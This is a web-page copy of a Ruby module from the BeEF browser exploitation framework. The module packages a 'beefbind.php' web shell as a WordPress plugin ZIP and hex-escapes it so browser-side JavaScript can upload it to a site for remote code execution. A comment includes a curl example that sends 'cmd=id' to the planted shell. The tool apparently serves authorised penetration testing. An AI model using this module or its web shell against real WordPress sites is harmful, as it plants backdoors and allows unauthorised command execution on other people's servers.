Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/wordpress/upload_rce_plugin/module.rb
1154 views
1
#
2
# Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com
3
# See the file 'doc/COPYING' for copying permission
4
#
5
# This is a rewrite of the original module misc/wordpress_post_auth_rce.
6
#
7
# Original Author: Bart Leppens
8
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
9
#
10
# To be executed, the request needs a BEEF header with the value of the auth_key option, example:
11
# curl -H 'BEEF: c9c3a2dcff54c5e2' -X POST --data 'cmd=id' http://wp.lab/wp-content/plugins/beefbind/beefbind.php
12
#
13
14
require 'digest/sha1'
15
require_relative '../wordpress_command'
16
17
class Wordpress_upload_rce_plugin < WordPressCommand
18
# Generate the plugin ZIP file as string. The method is called in the command.js.
19
# This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated
20
# even when the module is used with automated rules
21
def self.generate_zip_payload(auth_key)
22
stringio = Zip::OutputStream.write_buffer do |zio|
23
zio.put_next_entry('beefbind.php')
24
25
file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s
26
file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key))
27
28
zio.write(file_content)
29
end
30
31
stringio.rewind
32
33
payload = stringio.sysread
34
escaped_payload = ''
35
36
# Escape payload to be able to put it in the JS
37
payload.each_byte do |byte|
38
escaped_payload << ("\\#{'x%02X' % byte}")
39
end
40
41
escaped_payload
42
end
43
44
def self.options
45
super() + [
46
{ 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) }
47
]
48
end
49
end
50
51